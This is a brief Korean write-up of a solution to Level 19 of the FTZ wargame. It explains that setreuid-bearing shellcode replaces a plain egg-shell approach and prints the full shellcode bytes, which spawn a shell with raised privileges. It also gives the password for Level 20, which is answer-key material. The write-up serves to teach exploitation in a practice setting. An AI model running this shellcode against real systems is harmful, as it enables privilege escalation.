[FTZ] Level19 Write-up
2019. 7. 9. 04:17ㆍWargame & CTF/FTZ
아주 간단하게 에그쉘을 이용해서 쉘을 띄우면 되지만, setreuid가 없다.
그래서 setreuid가 들어간 쉘코드를 사용하면 된다.
SHELLCODE:\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
Level20 : we are just regular guys
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